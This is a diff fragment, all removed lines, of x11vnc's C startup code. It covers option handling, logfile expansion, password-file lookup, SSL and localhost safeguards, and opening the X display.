- if (!strcmp(arg, "-listen") && i < argc-1) {
- listen_str = strdup(argv[i+1]);
- }
- /* otherwise copy it for libvncserver use below. */
- if (!strcmp(arg, "-ultrafilexfer")) {
- got_ultrafilexfer = 1;
- } else if (argc_vnc < argc_vnc_max) {
- argv_vnc[argc_vnc++] = strdup(arg);
- } else {
- rfbLog("too many arguments.\n");
- exit(1);
- }
- continue;
- }
- }
-
- if (! getenv("NO_LIBXCB_ALLOW_SLOPPY_LOCK")) {
- /* libxcb is a bit too strict for us sometimes... */
- set_env("LIBXCB_ALLOW_SLOPPY_LOCK", "1");
- }
-
- if (getenv("PATH") == NULL || !strcmp(getenv("PATH"), "")) {
- /* set a minimal PATH, usually only null in inetd. */
- set_env("PATH", "/bin:/usr/bin");
- }
-
- /* handle -findauth case now that cmdline has been read */
- if (got_findauth) {
- char *s;
- int ic = 0;
- if (use_dpy != NULL) {
- set_env("DISPLAY", use_dpy);
- }
- use_dpy = strdup("WAIT:cmd=FINDDISPLAY-run");
-
- s = getenv("FINDAUTH_DISPLAY");
- if (s && strcmp("", s)) {
- set_env("DISPLAY", s);
- }
- s = getenv("DISPLAY");
- if (s && strcmp("", s)) {
- set_env("X11VNC_SKIP_DISPLAY", s);
- } else {
- set_env("X11VNC_SKIP_DISPLAY", ":0");
- }
- set_env("X11VNC_SKIP_DISPLAY_NEGATE", "1");
- set_env("FIND_DISPLAY_XAUTHORITY_PATH", "1");
- set_env("FIND_DISPLAY_NO_SHOW_XAUTH", "1");
- set_env("FIND_DISPLAY_NO_SHOW_DISPLAY", "1");
- wait_for_client(&ic, NULL, 0);
- exit(0);
- }
-
- /* set OS struct UT */
- uname(&UT);
-
- orig_use_xdamage = use_xdamage;
-
- if (!auto_port && getenv("AUTO_PORT")) {
- auto_port = atoi(getenv("AUTO_PORT"));
- }
-
- if (getenv("X11VNC_LOOP_MODE")) {
- if (bg && !getenv("X11VNC_LOOP_MODE_BG")) {
- if (! quiet) {
- fprintf(stderr, "disabling -bg in -loop "
- "mode\n");
- }
- bg = 0;
- } else if (!bg && getenv("X11VNC_LOOP_MODE_BG")) {
- if (! quiet) {
- fprintf(stderr, "enabling -bg in -loopbg "
- "mode\n");
- }
- bg = 1;
- }
- if (inetd) {
- if (! quiet) {
- fprintf(stderr, "disabling -inetd in -loop "
- "mode\n");
- }
- inetd = 0;
- }
- }
-
- if (launch_gui && (query_cmd || remote_cmd)) {
- launch_gui = 0;
- gui_str = NULL;
- }
- if (more_safe) {
- launch_gui = 0;
- }
-
-#ifdef MACOSX
- if (! use_dpy) {
- /* we need this for gui since no X properties */
- if (!client_connect_file && !client_connect) {
- char *user = get_user_name();
- char *str = (char *) malloc(strlen(user) + strlen("/tmp/x11vnc-macosx-remote.") + 1);
- struct stat sb;
- sprintf(str, "/tmp/x11vnc-macosx-remote.%s", user);
- if (!remote_cmd && !query_cmd) {
- unlink(str);
- if (stat(str, &sb) != 0) {
- int fd = open(str, O_WRONLY|O_EXCL|O_CREAT, 0600);
- if (fd >= 0) {
- close(fd);
- client_connect_file = str;
- }
- }
- } else {
- client_connect_file = str;
- }
- if (client_connect_file) {
- if (!got_inetd) {
- rfbLog("MacOS X: set -connect file to %s\n", client_connect_file);
- }
- }
- }
- }
-#endif
- if (got_rfbport_str != NULL && !strcasecmp(got_rfbport_str, "prompt")) {
- char *opts, tport[32];
-
- if (gui_str) {
- opts = (char *) malloc(strlen(gui_str) + 32);
- sprintf(opts, "%s,portprompt", gui_str);
- } else {
- opts = strdup("portprompt");
- }
- got_rfbport_val = -1;
-
- do_gui(opts, 0);
- if (got_rfbport_val == -1) {
- rfbLog("Port prompt indicated cancel.\n");
- clean_up_exit(1);
- }
- if (!got_inetd) {
- rfbLog("Port prompt selected: %d\n", got_rfbport_val);
- }
- sprintf(tport, "%d", got_rfbport_val);
- argv_vnc[got_rfbport_pos] = strdup(tport);
- free(opts);
- }
-
- {
- char num[32];
- sprintf(num, "%d", got_rfbport_val);
- set_env("X11VNC_GOT_RFBPORT_VAL", num);
- }
-
- if (got_ultrafilexfer && argc_vnc + 2 < argc_vnc_max) {
- argv_vnc[argc_vnc++] = strdup("-rfbversion");
- argv_vnc[argc_vnc++] = strdup("3.6");
- argv_vnc[argc_vnc++] = strdup("-permitfiletransfer");
- }
-
- if (launch_gui) {
- int sleep = 0;
- if (SHOW_NO_PASSWORD_WARNING && !nopw) {
- sleep = 1;
- }
- do_gui(gui_str, sleep);
- }
- if (logfile) {
- int n;
- char *pstr = "%VNCDISPLAY";
- if (strstr(logfile, pstr)) {
- char *h = this_host();
- char *s, *q, *newlog;
- int n, p = got_rfbport_val;
- /* we don't really know the port yet... so guess */
- if (p < 0) {
- p = auto_port;
- }
- if (p <= 0) {
- p = 5900;
- }
- s = (char *) malloc(strlen(h) + 32);
- sprintf(s, "%s:%d", h, p);
- n = 1;
- q = logfile;
- while (1) {
- char *t = strstr(q, pstr);
- if (!t) break;
- n++;
- q = t+1;
- }
- newlog = (char *) malloc(strlen(logfile) + n * strlen(pstr));
- newlog[0] = '\0';
-
- q = logfile;
- while (1) {
- char *t = strstr(q, pstr);
- if (!t) {
- strcat(newlog, q);
- break;
- }
- strncat(newlog, q, t - q);
- strcat(newlog, s);
- q = t + strlen(pstr);
- }
- logfile = newlog;
- if (!quiet && !got_inetd) {
- rfbLog("Expanded logfile to '%s'\n", newlog);
-
- }
- free(s);
- }
- pstr = "%HOME";
- if (strstr(logfile, pstr)) {
- char *h = get_home_dir();
- char *s, *q, *newlog;
-
- s = (char *) malloc(strlen(h) + 32);
- sprintf(s, "%s", h);
- n = 1;
- q = logfile;
- while (1) {
- char *t = strstr(q, pstr);
- if (!t) break;
- n++;
- q = t+1;
- }
- newlog = (char *) malloc(strlen(logfile) + n * strlen(pstr));
- newlog[0] = '\0';
-
- q = logfile;
- while (1) {
- char *t = strstr(q, pstr);
- if (!t) {
- strcat(newlog, q);
- break;
- }
- strncat(newlog, q, t - q);
- strcat(newlog, s);
- q = t + strlen(pstr);
- }
- logfile = newlog;
- if (!quiet && !got_inetd) {
- rfbLog("Expanded logfile to '%s'\n", newlog);
- }
- free(s);
- }
-
- if (logfile_append) {
- n = open(logfile, O_WRONLY|O_CREAT|O_APPEND, 0666);
- } else {
- n = open(logfile, O_WRONLY|O_CREAT|O_TRUNC, 0666);
- }
- if (n < 0) {
- fprintf(stderr, "error opening logfile: %s\n", logfile);
- perror("open");
- exit(1);
- }
- if (dup2(n, 2) < 0) {
- fprintf(stderr, "dup2 failed\n");
- perror("dup2");
- exit(1);
- }
- if (n > 2) {
- close(n);
- }
- }
- if (ipv6_listen) {
- if (inetd) {
- ipv6_listen = 0;
- }
- }
- if (inetd && quiet && !logfile) {
- int n;
- /*
- * Redir stderr to /dev/null under -inetd and -quiet
- * but no -o logfile. Typical problem:
- * Xlib: extension "RECORD" missing on display ":1.0".
- * If they want this info, they should use -o logfile,
- * or no -q and 2>logfile.
- */
- n = open("/dev/null", O_WRONLY);
- if (n >= 0) {
- if (dup2(n, 2) >= 0) {
- if (n > 2) {
- close(n);
- }
- }
- }
- }
- if (! quiet && ! inetd) {
- int i;
- if (http_oneport_msg) {
- rfbLog("setting '-enc none' for -http_oneport mode.\n");
- }
- for (i=1; i < argc_vnc; i++) {
- rfbLog("passing arg to libvncserver: %s\n", argv_vnc[i]);
- if (!strcmp(argv_vnc[i], "-passwd")) {
- i++;
- }
- }
- }
-
- if (remote_cmd || query_cmd) {
- /*
- * no need to open DISPLAY, just write it to the file now
- * similar for query_default.
- */
- if (client_connect_file || query_default) {
- int i, rc = 1;
- for (i=0; i <= query_retries; i++) {
- rc = do_remote_query(remote_cmd, query_cmd,
- remote_sync, query_default);
- if (rc == 0) {
- if (query_match) {
- if (query_result && strstr(query_result, query_match)) {
- break;
- }
- rc = 1;
- } else {
- break;
- }
- }
- if (i < query_retries) {
- fprintf(stderr, "sleep: %.3f\n", query_delay);
- usleep( (int) (query_delay * 1000 * 1000) );
- }
- }
- fflush(stderr);
- fflush(stdout);
- exit(rc);
- }
- }
-
- if (usepw && ! got_rfbauth && ! got_passwd && ! got_passwdfile && !unixpw) {
- char *f, *h = getenv("HOME");
- struct stat sbuf;
- int found = 0, set_rfbauth = 0;
-
- if (!h) {
- rfbLog("HOME unset in -usepw mode.\n");
- exit(1);
- }
- f = (char *) malloc(strlen(h)+strlen("/.vnc/passwdfile") + 1);
-
- sprintf(f, "%s/.vnc/passwd", h);
- if (stat(f, &sbuf) == 0) {
- found = 1;
- if (! quiet) {
- rfbLog("-usepw: found %s\n", f);
- }
- got_rfbauth = 1;
- set_rfbauth = 1;
- }
-
- sprintf(f, "%s/.vnc/passwdfile", h);
- if (! found && stat(f, &sbuf) == 0) {
- found = 1;
- if (! quiet) {
- rfbLog("-usepw: found %s\n", f);
- }
- got_passwdfile = 1;
- passwdfile = strdup(f);
- }
-
-#if LIBVNCSERVER_HAVE_FORK
-#if LIBVNCSERVER_HAVE_SYS_WAIT_H
-#if LIBVNCSERVER_HAVE_WAITPID
- if (! found) {
- pid_t pid = fork();
- if (pid < 0) {
- ;
- } else if (pid == 0) {
- execlp(argv[0], argv[0], "-storepasswd",
- (char *) NULL);
- exit(1);
- } else {
- int s;
- waitpid(pid, &s, 0);
- if (WIFEXITED(s) && WEXITSTATUS(s) == 0) {
- got_rfbauth = 1;
- set_rfbauth = 1;
- found = 1;
- }
- }
- }
-#endif
-#endif
-#endif
-
- if (set_rfbauth) {
- sprintf(f, "%s/.vnc/passwd", h);
- if (argc_vnc < 100) {
- argv_vnc[argc_vnc++] = strdup("-rfbauth");
- } else {
- exit(1);
- }
- if (argc_vnc < 100) {
- argv_vnc[argc_vnc++] = strdup(f);
- } else {
- exit(1);
- }
- }
- if (! found) {
- fprintf(stderr, "x11vnc -usepw: could not find"
- " a password to use.\n");
- exit(1);
- }
- free(f);
- }
-
- if (got_rfbauth && (got_passwd || got_viewpasswd || got_passwdfile)) {
- fprintf(stderr, "option -rfbauth is incompatible with:\n");
- fprintf(stderr, " -passwd, -viewpasswd, and -passwdfile\n");
- exit(1);
- }
- if (got_passwdfile && (got_passwd || got_viewpasswd)) {
- fprintf(stderr, "option -passwdfile is incompatible with:\n");
- fprintf(stderr, " -passwd and -viewpasswd\n");
- exit(1);
- }
-
- /*
- * If -passwd was used, clear it out of argv. This does not
- * work on all UNIX, have to use execvp() in general...
- */
- if (pw_loc > 0) {
- int i;
- for (i=pw_loc; i <= pw_loc+1; i++) {
- if (i < argc) {
- char *p = argv[i];
- strzero(p);
- }
- }
- } else if (passwdfile) {
- /* read passwd(s) from file */
- if (strstr(passwdfile, "cmd:") == passwdfile ||
- strstr(passwdfile, "custom:") == passwdfile) {
- char tstr[100], *q;
- sprintf(tstr, "%f", dnow());
- if ((q = strrchr(tstr, '.')) == NULL) {
- q = tstr;
- } else {
- q++;
- }
- /* never used under cmd:, used to force auth */
- argv_vnc[argc_vnc++] = strdup("-passwd");
- argv_vnc[argc_vnc++] = strdup(q);
- } else if (read_passwds(passwdfile)) {
- argv_vnc[argc_vnc++] = strdup("-passwd");
- argv_vnc[argc_vnc++] = strdup(passwd_list[0]);
- }
- got_passwd = 1;
- pw_loc = 100; /* just for pw_loc check below */
- }
- if (vpw_loc > 0) {
- int i;
- for (i=vpw_loc; i <= vpw_loc+1; i++) {
- if (i < argc) {
- char *p = argv[i];
- strzero(p);
- }
- }
- }
-#ifdef HARDWIRE_PASSWD
- if (!got_rfbauth && !got_passwd) {
- argv_vnc[argc_vnc++] = strdup("-passwd");
- argv_vnc[argc_vnc++] = strdup(HARDWIRE_PASSWD);
- got_passwd = 1;
- pw_loc = 100;
- }
-#endif
-#ifdef HARDWIRE_VIEWPASSWD
- if (!got_rfbauth && got_passwd && !viewonly_passwd && !passwd_list) {
- viewonly_passwd = strdup(HARDWIRE_VIEWPASSWD);
- }
-#endif
- if (viewonly_passwd && pw_loc < 0) {
- rfbLog("-passwd must be supplied when using -viewpasswd\n");
- exit(1);
- }
- if (1) {
- /* mix things up a little bit */
- unsigned char buf[CHALLENGESIZE];
- int k, kmax = (int) (50 * rfac()) + 10;
- for (k=0; k < kmax; k++) {
- rfbRandomBytes(buf);
- }
- }
-
- if (SHOW_NO_PASSWORD_WARNING) {
- char message[] = "-rfbauth, -passwdfile, -passwd password, "
- "or -unixpw required.";
- if (! nopw) {
- nopassword_warning_msg(got_localhost);
- }
-#if PASSWD_REQUIRED
- rfbLog("%s\n", message);
- exit(1);
-#endif
-#if PASSWD_UNLESS_NOPW
- if (! nopw) {
- rfbLog("%s\n", message);
- exit(1);
- }
-#endif
- message[0] = '\0'; /* avoid compiler warning */
- }
-
- if (more_safe) {
- if (! quiet) {
- rfbLog("-safer mode:\n");
- rfbLog(" vnc_connect=0\n");
- rfbLog(" accept_remote_cmds=0\n");
- rfbLog(" safe_remote_only=1\n");
- rfbLog(" launch_gui=0\n");
- }
- vnc_connect = 0;
- accept_remote_cmds = 0;
- safe_remote_only = 1;
- launch_gui = 0;
- }
-
- if (users_list && strchr(users_list, '.')) {
- char *p, *q, *tmp = (char *) malloc(strlen(users_list)+1);
- char *str = strdup(users_list);
- int i, n, db = 1;
-
- tmp[0] = '\0';
-
- n = strlen(users_list) + 1;
- user2group = (char **) malloc(n * sizeof(char *));
- for (i=0; i<n; i++) {
- user2group[i] = NULL;
- }
-
- i = 0;
- p = strtok(str, ",");
- if (db) fprintf(stderr, "users_list: %s\n", users_list);
- while (p) {
- if (tmp[0] != '\0') {
- strcat(tmp, ",");
- }
- q = strchr(p, '.');
- if (q) {
- char *s = strchr(p, '=');
- if (! s) {
- s = p;
- } else {
- s++;
- }
- if (s[0] == '+') s++;
- user2group[i++] = strdup(s);
- if (db) fprintf(stderr, "u2g: %s\n", s);
- *q = '\0';
- }
- strcat(tmp, p);
- p = strtok(NULL, ",");
- }
- free(str);
- users_list = tmp;
- if (db) fprintf(stderr, "users_list: %s\n", users_list);
- }
-
- if (got_tls > 0 && !use_openssl) {
- rfbLog("SSL: Error: you did not supply the '-ssl ...' option even\n");
- rfbLog("SSL: though you supplied one of these related options:\n");
- rfbLog("SSL: -sslonly, -sslverify, -sslCRL, -vencrypt, -anontls,\n");
- rfbLog("SSL: -dhparams, -https, -http_ssl, or -httpsredir.\n");
- rfbLog("SSL: Restart with, for example, '-ssl SAVE' on the cmd line.\n");
- rfbLog("SSL: See the '-ssl' x11vnc -help description for more info.\n");
- if (!getenv("X11VNC_FORCE_NO_OPENSSL")) {
- exit(1);
- }
- }
-
- if (unixpw) {
- if (inetd) {
- use_stunnel = 0;
- }
- if (! use_stunnel && ! use_openssl) {
- if (getenv("UNIXPW_DISABLE_SSL")) {
- rfbLog("Skipping -ssl/-stunnel requirement"
- " due to\n");
- rfbLog("UNIXPW_DISABLE_SSL setting.\n");
-
- if (!getenv("UNIXPW_DISABLE_LOCALHOST")) {
- if (!got_localhost) {
- rfbLog("Forcing -localhost mode.\n");
- }
- allow_list = strdup("127.0.0.1");
- got_localhost = 1;
- }
- } else if (have_ssh_env()) {
- char *s = getenv("SSH_CONNECTION");
- if (! s) s = getenv("SSH_CLIENT");
- if (! s) s = "SSH_CONNECTION";
- fprintf(stderr, "\n");
- rfbLog("Skipping -ssl/-stunnel constraint in"
- " -unixpw mode,\n");
- rfbLog("assuming your SSH encryption"
- " is:\n");
- rfbLog(" %s\n", s);
-
- if (!getenv("UNIXPW_DISABLE_LOCALHOST")) {
- if (!got_localhost) {
- rfbLog("Setting -localhost in SSH + -unixpw mode.\n");
- }
- allow_list = strdup("127.0.0.1");
- got_localhost = 1;
- }
-
- rfbLog("If you *actually* want SSL, restart"
- " with -ssl on the cmdline\n");
- if (! nopw) {
- usleep(2000*1000);
- }
- } else {
- if (openssl_present()) {
- rfbLog("set -ssl in -unixpw mode.\n");
- use_openssl = 1;
- } else if (inetd) {
- rfbLog("could not set -ssl in -inetd"
- " + -unixpw mode.\n");
- exit(1);
- } else {
- rfbLog("set -stunnel in -unixpw mode.\n");
- use_stunnel = 1;
- }
- }
- rfbLog("\n");
- }
- if (use_threads && !getenv("UNIXPW_THREADS")) {
- if (! quiet) {
- rfbLog("disabling -threads under -unixpw\n");
- rfbLog("\n");
- }
- use_threads = 0;
- }
- }
- if (use_stunnel && ! got_localhost) {
- if (! getenv("STUNNEL_DISABLE_LOCALHOST") &&
- ! getenv("UNIXPW_DISABLE_LOCALHOST")) {
- if (! quiet) {
- rfbLog("Setting -localhost in -stunnel mode.\n");
- }
- allow_list = strdup("127.0.0.1");
- got_localhost = 1;
- }
- }
- if (ssl_verify && ! use_stunnel && ! use_openssl) {
- rfbLog("-sslverify must be used with -ssl or -stunnel\n");
- exit(1);
- }
- if (https_port_num >= 0 && ! use_openssl) {
- rfbLog("-https must be used with -ssl\n");
- exit(1);
- }
-
- if (use_threads && !got_noxrandr) {
- xrandr = 1;
- if (! quiet) {
- rfbLog("enabling -xrandr in -threads mode.\n");
- }
- }
-
- /* fixup settings that do not make sense */
-
- if (use_threads && nofb && cursor_pos_updates) {
- if (! quiet) {
- rfbLog("disabling -threads under -nofb -cursorpos\n");
- }
- use_threads = 0;
- }
- if (tile_fuzz < 1) {
- tile_fuzz = 1;
- }
- if (waitms < 0) {
- waitms = 0;
- }
-
- if (alpha_threshold < 0) {
- alpha_threshold = 0;
- }
- if (alpha_threshold > 256) {
- alpha_threshold = 256;
- }
- if (alpha_frac < 0.0) {
- alpha_frac = 0.0;
- }
- if (alpha_frac > 1.0) {
- alpha_frac = 1.0;
- }
- if (alpha_blend) {
- alpha_remove = 0;
- }
-
- if (cmap8to24 && overlay) {
- if (! quiet) {
- rfbLog("disabling -overlay in -8to24 mode.\n");
- }
- overlay = 0;
- }
-
- if (tightfilexfer && view_only) {
- if (! quiet) {
- rfbLog("setting -notightfilexfer in -viewonly mode.\n");
- }
- /* how to undo via -R? */
- tightfilexfer = 0;
- }
-
- if (inetd) {
- shared = 0;
- connect_once = 1;
- bg = 0;
- if (use_stunnel) {
- exit(1);
- }
- }
-
- http_try_it = try_http;
-
- if (flip_byte_order && using_shm && ! quiet) {
- rfbLog("warning: -flipbyte order only works with -noshm\n");
- }
-
- if (! wireframe_copyrect) {
- set_wirecopyrect_mode(NULL);
- }
- if (! scroll_copyrect) {
- set_scrollcopyrect_mode(NULL);
- }
- if (screen_fixup_str) {
- parse_fixscreen();
- }
- initialize_scroll_matches();
- initialize_scroll_term();
- initialize_max_keyrepeat();
-
- /* increase rfbwait if threaded */
- if (use_threads && ! got_rfbwait) {
- /* ??? lower this ??? */
- rfbMaxClientWait = 604800000;
- }
-
- /* no framebuffer (Win2VNC) mode */
-
- if (nofb) {
- /* disable things that do not make sense with no fb */
- set_nofb_params(0);
-
- if (! got_deferupdate && ! got_defer) {
- /* reduce defer time under -nofb */
- defer_update = defer_update_nofb;
- }
- if (got_pointer_mode < 0) {
- pointer_mode = POINTER_MODE_NOFB;
- }
- }
-
- if (ncache < 0) {
- ncache_beta_tester = 1;
- ncache_msg = 1;
- if (ncache == -1) {
- ncache = 0;
- }
- ncache = -ncache;
- if (try_http || got_httpdir) {
- /* JVM usually not set to handle all the memory */
- ncache = 0;
- ncache_msg = 0;
- }
- if (subwin) {
- ncache = 0;
- ncache_msg = 0;
- }
- }
-
- if (raw_fb_str) {
- set_raw_fb_params(0);
- }
- if (! got_deferupdate) {
- char tmp[40];
- sprintf(tmp, "%d", defer_update);
- argv_vnc[argc_vnc++] = strdup("-deferupdate");
- argv_vnc[argc_vnc++] = strdup(tmp);
- }
-
- if (debug_pointer || debug_keyboard) {
- if (!logfile) {
- if (bg || quiet) {
- rfbLog("disabling -bg/-q under -debug_pointer"
- "/-debug_keyboard\n");
- bg = 0;
- quiet = 0;
- }
- }
- }
-
- /* initialize added_keysyms[] array to zeros */
- add_keysym(NoSymbol);
-
- /* tie together cases of -localhost vs. -listen localhost */
- if (! listen_str) {
- if (allow_list && !strcmp(allow_list, "127.0.0.1")) {
- listen_str = strdup("localhost");
- argv_vnc[argc_vnc++] = strdup("-listen");
- argv_vnc[argc_vnc++] = strdup(listen_str);
- }
- } else if (!strcmp(listen_str, "localhost") ||
- !strcmp(listen_str, "127.0.0.1")) {
- allow_list = strdup("127.0.0.1");
- }
-
- initialize_crash_handler();
-
- if (! quiet) {
- if (verbose) {
- print_settings(try_http, bg, gui_str);
- }
- rfbLog("x11vnc version: %s pid: %d\n", lastmod, getpid());
- } else {
- rfbLogEnable(0);
- }
-
- X_INIT;
- SCR_INIT;
- CLIENT_INIT;
- INPUT_INIT;
- POINTER_INIT;
-
- /* open the X display: */
-
-#if LIBVNCSERVER_HAVE_XKEYBOARD
- /*
- * Disable XKEYBOARD before calling XOpenDisplay()
- * this should be used if there is ambiguity in the keymapping.
- */
- if (xkbcompat) {
- Bool rc = XkbIgnoreExtension(True);
- if (! quiet) {
- rfbLog("Disabling xkb XKEYBOARD extension. rc=%d\n",
- rc);
- }
- if (watch_bell) {
- watch_bell = 0;
- if (! quiet) rfbLog("Disabling bell.\n");
- }
- }
-#else
- watch_bell = 0;
- use_xkb_modtweak = 0;
-#endif
-
-#ifdef LIBVNCSERVER_WITH_TIGHTVNC_FILETRANSFER
- if (tightfilexfer) {
- rfbLog("rfbRegisterTightVNCFileTransferExtension: 6\n");
- rfbRegisterTightVNCFileTransferExtension();
- } else {
- if (0) rfbLog("rfbUnregisterTightVNCFileTransferExtension: 3\n");
- rfbUnregisterTightVNCFileTransferExtension();
- }
-#endif
-
- initialize_allowed_input();
-
- if (display_N && !got_rfbport) {
- char *ud = use_dpy;
- if (ud == NULL) {
- ud = getenv("DISPLAY");
- }
- if (ud && strstr(ud, "cmd=") == NULL) {
- char *p;
- ud = strdup(ud);
- p = strrchr(ud, ':');
- if (p) {
- int N;
- char *q = strchr(p, '.');
- if (q) {
- *q = '\0';
- }
- N = atoi(p+1);
- if (argc_vnc+1 < argc_vnc_max) {
- char Nstr[16];
- sprintf(Nstr, "%d", (5900 + N) % 65536);
- argv_vnc[argc_vnc++] = strdup("-rfbport");
- argv_vnc[argc_vnc++] = strdup(Nstr);
- got_rfbport = 1;
- }
- }
- free(ud);
- }
- }
-
- if (users_list && strstr(users_list, "lurk=")) {
- if (use_dpy) {
- rfbLog("warning: -display does not make sense in "
- "\"lurk=\" mode...\n");
- }
- if (auth_file != NULL && strcmp(auth_file, "guess")) {
- set_env("XAUTHORITY", auth_file);
- }
- lurk_loop(users_list);
-
- } else if (use_dpy && strstr(use_dpy, "WAIT:") == use_dpy) {
- char *mcm = multiple_cursors_mode;
-
- if (strstr(use_dpy, "Xdummy")) {
- if (!xrandr && !got_noxrandr) {
- if (! quiet) {
- rfbLog("Enabling -xrandr for possible use of Xdummy server.\n");
- }
- xrandr = 1;
- }
- }
-
- waited_for_client = wait_for_client(&argc_vnc, argv_vnc,
- try_http && ! got_httpdir);
-
- if (!mcm && multiple_cursors_mode) {
- free(multiple_cursors_mode);
- multiple_cursors_mode = NULL;
- }
- }
-
-
- if (auth_file) {
- check_guess_auth_file();
- if (auth_file != NULL) {
- set_env("XAUTHORITY", auth_file);
- }
- }
-
-#ifdef MACOSX
- if (use_dpy && !strcmp(use_dpy, "console")) {
- ;
- } else
-#endif
- if (use_dpy && strcmp(use_dpy, "")) {
- dpy = XOpenDisplay_wr(use_dpy);
-#ifdef MACOSX
- } else if (!subwin && getenv("DISPLAY")
- && strstr(getenv("DISPLAY"), "/tmp/") ) {
- /* e.g. /tmp/launch-XlspvM/:0 on leopard */
- rfbLog("MacOSX: Ignoring $DISPLAY '%s'\n", getenv("DISPLAY"));
- rfbLog("MacOSX: Use -display $DISPLAY to force it.\n");
-#endif
- } else if (raw_fb_str != NULL && raw_fb_str[0] != '+' && !got_noviewonly) {
- rfbLog("Not opening DISPLAY in -rawfb mode (force via -rawfb +str)\n");
- dpy = NULL; /* don't open it. */
- } else if ( (use_dpy = getenv("DISPLAY")) ) {
- if (strstr(use_dpy, "localhost") == use_dpy) {
- rfbLog("\n");
- rfbLog("WARNING: DISPLAY starts with localhost: '%s'\n", use_dpy);
- rfbLog("WARNING: Is this an SSH X11 port forwarding? You most\n");
- rfbLog("WARNING: likely don't want x11vnc to use that DISPLAY.\n");
- rfbLog("WARNING: You probably should supply something\n");
- rfbLog("WARNING: like: -display :0 to access the physical\n");
- rfbLog("WARNING: X display on the machine where x11vnc is running.\n");
- rfbLog("\n");
- usleep(500 * 1000);
- } else if (using_shm && use_dpy[0] != ':') {
- rfbLog("\n");
- rfbLog("WARNING: DISPLAY might not be local: '%s'\n", use_dpy);
- rfbLog("WARNING: Is this the DISPLAY of another machine? Usually,\n");
- rfbLog("WARNING: x11vnc is run on the same machine with the\n");
- rfbLog("WARNING: physical X display to be exported by VNC. If\n");
- rfbLog("WARNING: that is what you really meant, supply something\n");
- rfbLog("WARNING: like: -display :0 on the x11vnc command line.\n");
- rfbLog("\n");
- usleep(250 * 1000);
- }
- dpy = XOpenDisplay_wr(use_dpy);
- } else {
- dpy = XOpenDisplay_wr("");
- }
- last_open_xdisplay = time(NULL);
-
- if (terminal_services_daemon != NULL) {
- terminal_services(terminal_services_daemon);
- exit(0);
- }
-
- if (dpy && !xrandr && !got_noxrandr) {
-#if !NO_X11
- Atom trap_xrandr = XInternAtom(dpy, "X11VNC_TRAP_XRANDR", True);
- if (trap_xrandr != None) {
- if (! quiet) {
- rfbLog("Enabling -xrandr due to X11VNC_TRAP_XRANDR atom.\n");
- }
- xrandr = 1;
- }
-#endif
- }
-
-#ifdef MACOSX
- if (! dpy && ! raw_fb_str) {
- raw_fb_str = strdup("console");
- }
-#endif
-
- if (! dpy && raw_fb_str) {
- rfbLog("Continuing without X display in -rawfb mode.\n");
- goto raw_fb_pass_go_and_collect_200_dollars;
- }
-
- if (! dpy && ! use_dpy && ! getenv("DISPLAY")) {
- int i, s = 4;
- rfbLogEnable(1);
- rfbLog("\a\n");
- rfbLog("*** XOpenDisplay failed. No -display or DISPLAY.\n");
- rfbLog("*** Trying \":0\" in %d seconds. Press Ctrl-C to"
- " abort.\n", s);
- rfbLog("*** ");
- for (i=1; i<=s; i++) {
- fprintf(stderr, "%d ", i);
- sleep(1);
- }
- fprintf(stderr, "\n");
- use_dpy = ":0";
- dpy = XOpenDisplay_wr(use_dpy);
- last_open_xdisplay = time(NULL);
- if (dpy) {
- rfbLog("*** XOpenDisplay of \":0\" successful.\n");
- }
- rfbLog("\n");
- if (quiet) rfbLogEnable(0);
- }
-
- if (! dpy) {
- char *d = use_dpy;
- if (!d) d = getenv("DISPLAY");
- if (!d) d = "null";
- rfbLogEnable(1);
- fprintf(stderr, "\n");
- rfbLog("***************************************\n", d);
- rfbLog("*** XOpenDisplay failed (%s)\n", d);
- xopen_display_fail_message(d);
- exit(1);
- } else if (use_dpy) {
- if (! quiet) rfbLog("Using X display %s\n", use_dpy);
- } else {
- if (! quiet) rfbLog("Using default X display.\n");
- }
-
- if (clip_str != NULL && dpy != NULL) {
- check_xinerama_clip();
- }
-
- scr = DefaultScreen(dpy);
- rootwin = RootWindow(dpy, scr);
-
-#if !NO_X11
- if (dpy) {
- Window w = XCreateSimpleWindow(dpy, rootwin, 0, 0, 1, 1, 0, 0, 0);
- if (! quiet) rfbLog("rootwin: 0x%lx reswin: 0x%lx dpy: 0x%x\n", rootwin, w, dpy);
- if (w != None) {
- XDestroyWindow(dpy, w);
- }
- XSync(dpy, False);
- }
-#endif
-
- if (ncache_beta_tester) {
- int h = DisplayHeight(dpy, scr);
- int w = DisplayWidth(dpy, scr);
- int mem = (w * h * 4) / (1000 * 1000), MEM = 96;
- if (mem < 1) mem = 1;
-
- /* limit poor, unsuspecting beta tester's viewer to 96 MB */
- if ( (ncache+2) * mem > MEM ) {
- int n = (MEM/mem) - 2;
- if (n < 0) n = 0;
- n = 2 * (n / 2);
- if (n < ncache) {
- ncache = n;
- }
- }
- }
-
- if (grab_always) {
- Window save = window;
- window = rootwin;
- adjust_grabs(1, 0);
- window = save;
- }
-
- if ( (remote_cmd && strstr(remote_cmd, "DIRECT:") == remote_cmd)
- || (query_cmd && strstr(query_cmd, "DIRECT:") == query_cmd )) {
- /* handled below after most everything is setup. */
- if (getenv("QUERY_VERBOSE")) {
- quiet = 0;
- } else {
- quiet = 1;
- remote_direct = 1;
- }
- if (!auto_port) {
- auto_port = 5970;
- }
- } else if (remote_cmd || query_cmd) {
- int i, rc = 1;
- for (i=0; i <= query_retries; i++) {
- rc = do_remote_query(remote_cmd, query_cmd, remote_sync,
- query_default);
- if (rc == 0) {
- if (query_match) {
- if (query_result && strstr(query_result, query_match)) {
- break;
- }
- rc = 1;
- } else {
- break;
- }
- }
- if (i < query_retries) {
- fprintf(stderr, "sleep: %.3f\n", query_delay);
- usleep( (int) (query_delay * 1000 * 1000) );
- }
- }
- XFlush_wr(dpy);
- fflush(stderr);
- fflush(stdout);
- usleep(30 * 1000); /* still needed? */
- XCloseDisplay_wr(dpy);
- exit(rc);
- }
-
- if (! quiet && ! raw_fb_str) {
- rfbLog("\n");
- rfbLog("------------------ USEFUL INFORMATION ------------------\n");
- }
-
- if (priv_remote) {
- if (! remote_control_access_ok()) {
- rfbLog("** Disabling remote commands in -privremote mode.\n");
- accept_remote_cmds = 0;
- }
- }
-
- sync_tod_with_servertime();
- if (grab_buster) {
- spawn_grab_buster();
- }
-
-#if LIBVNCSERVER_HAVE_LIBXFIXES
- if (! XFixesQueryExtension(dpy, &xfixes_base_event_type, &er)) {
- if (! quiet && ! raw_fb_str) {
- rfbLog("Disabling XFIXES mode: display does not support it.\n");
- }
- xfixes_base_event_type = 0;
- xfixes_present = 0;
- } else {
- xfixes_present = 1;
- }
-#endif
- if (! xfixes_present) {
- use_xfixes = 0;
- }
-
